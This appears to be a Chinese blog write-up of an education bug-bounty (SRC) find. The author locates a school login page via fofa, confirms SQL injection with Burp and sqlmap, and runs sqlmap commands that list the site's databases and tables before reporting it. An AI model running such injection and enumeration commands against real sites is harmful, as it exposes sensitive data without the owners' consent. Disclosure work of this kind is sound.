记一次教育src挖洞

2024-02-13 17:40

文章标签 一次 src 教育挖洞

本文主要是介绍记一次教育src挖洞，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

记一次教育src挖洞

fofa搜索了一下，找到一个有sql注入的教育网站
- 漏洞url:http://x.x.x.x:8090/login

fofa搜索了一下，找到一个有sql注入的教育网站

#fofa搜索了一下，找到一个有sql注入的教育完整

漏洞url:http://x.x.x.x:8090/login

打开网站，随便输入数字，用burp抓包，在账号后面加*,保存到1.txt
在这里插入图片描述 sqlmap跑，存在sql注入
python sqlmap.py -r 1.txt --level 2

在这里插入图片描述
爆数据库
python sqlmap.py -r 1.txt --level 2 --dbs

在这里插入图片描述
数据太多了，只能挑几个表跑
python sqlmap.py -r 1.txt --level 2 --tables -D “examxx,mysql,yxzs-jxjsxy”
数据敏感，直接提交教育，第二天就可以拿到教育src邀请码

在这里插入图片描述

这篇关于记一次教育src挖洞的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

http://www.chinasem.cn/article/706188。 23002807@qq.com

Andrej Karpathy最新采访：认知核心模型10亿参数就够了，AI会打破教育不公的僵局

夕小瑶科技说原创作者 | 海野 AI圈子的红人，AI大神Andrej Karpathy，曾是OpenAI联合创始人之一，特斯拉AI总监。上一次的动态是官宣创办一家名为 Eureka Labs 的人工智能+教育公司，宣布将长期致力于AI原生教育。近日，Andrej Karpathy接受了No Priors（投资博客）的采访，与硅谷知名投资人 Sara Guo 和 Elad G

【区块链 + 人才服务】可信教育区块链治理系统 | FISCO BCOS应用案例

伴随着区块链技术的不断完善，其在教育信息化中的应用也在持续发展。利用区块链数据共识、不可篡改的特性，将与教育相关的数据要素在区块链上进行存证确权，在确保数据可信的前提下，促进教育的公平、透明、开放，为教育教学质量提升赋能，实现教育数据的安全共享、高等教育体系的智慧治理。可信教育区块链治理系统的顶层治理架构由教育部、高校、企业、学生等多方角色共同参与建设、维护，支撑教育资源共享、教学质量评估、

script中的src

(function() {})();只执行一次

测试例子： var xx = (function() { (function() { alert(9) })(); alert(10) return "yyyy"; })(); 调用： alert(xx); 在调用的时候，你会发现只弹出"yyyy"信息，并不见弹出"10"的信息！这也就是说，这个匿名函数只在立即调用的时候执行一次，这时它已经赋予了给xx变量，也就是只是

flume系列之：记录一次flume agent进程被异常oom kill -9的原因定位

flume系列之：记录一次flume agent进程被异常oom kill -9的原因定位一、背景二、定位问题三、解决方法一、背景 flume系列之：定位flume没有关闭某个时间点生成的tmp文件的原因，并制定解决方案在博主上面这篇文章的基础上，在机器内存、cpu资源、flume agent资源都足够的情况下，flume agent又出现了tmp文件无法关闭的情况二、

jmeter之仅一次控制器

仅一次控制器作用：不管线程组设置多少次循环，它下面的组件都只会执行一次 Tips：很多情况下需要登录才能访问其他接口，比如：商品列表、添加商品到购物车、购物车列表等，在多场景下，登录只需要1次，我们期望的是重复执行登陆后面的接口来做压测，这就和事务相关，例如事务1：登录—>添加购物车事务2：登录—>购物车列表事务3：登录—>商品列表—>添加购物车 … 一、仅一次控制器案例在

一次生产环境大量CLOSE_WAIT导致服务无法访问的定位过程

1.症状生产环境的一个服务突然无法访问，服务的交互过程如下所示：所有的请求都是通过网关进入，之后分发到后端服务。现在的情况是用户服务无法访问商旅服务，网关有大量java.net.SocketTimeoutException: Read timed out报错日志，商旅服务也不断有日志打印，大多是回调和定时任务日志，所以故障点在网关和商旅服务，大概率是商旅服务无法访问导致网关超时。后

src/pyaudio/device_api.c:9:10: fatal error: portaudio.h: 没有那个文件或目录

(venv) shgbitai@shgbitai-C9X299-PGF:~/pythonworkspace/ai-accompany$ pip install pyaudio sounddeviceCollecting pyaudioDownloading PyAudio-0.2.14.tar.gz (47 kB)━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

关于一次速度优化的往事

来自：hfghfghfg, 时间：2003-11-13 16:32, ID：2292221你最初的代码 Button1 34540毫秒 5638毫秒 Button2 我的代码这个不是重点，重点是这个来自：hfghfghfg, 时间：2003-11-13 16:54, ID：22923085528毫秒不会吧，我是赛杨1.1G 128M内存 w2000, delphi6 128M

一次关于生产环境服务无故宕机的排查过程

故事的开始这个故事是在一年之前，当时我们的系统运行在客户的k8s环境上。然后很神奇的是每个月底我们都会服务宕机，当然我们开启了多个实例。当时的容器线条就像心跳图一样（或许有些描述的不太准确，我没有找到当时那个像心电图一样的容器资源监控图）。第一次的排查当时我们还是很有信心去解决这个问题的。由于每个月的月底都是业务使用的高峰时段，也就是说，从表象上来看，qps一高，容器就挂。业务日

记一次教育src挖洞

记一次教育src挖洞

fofa搜索了一下，找到一个有sql注入的教育网站

漏洞url:http://x.x.x.x:8090/login

相关文章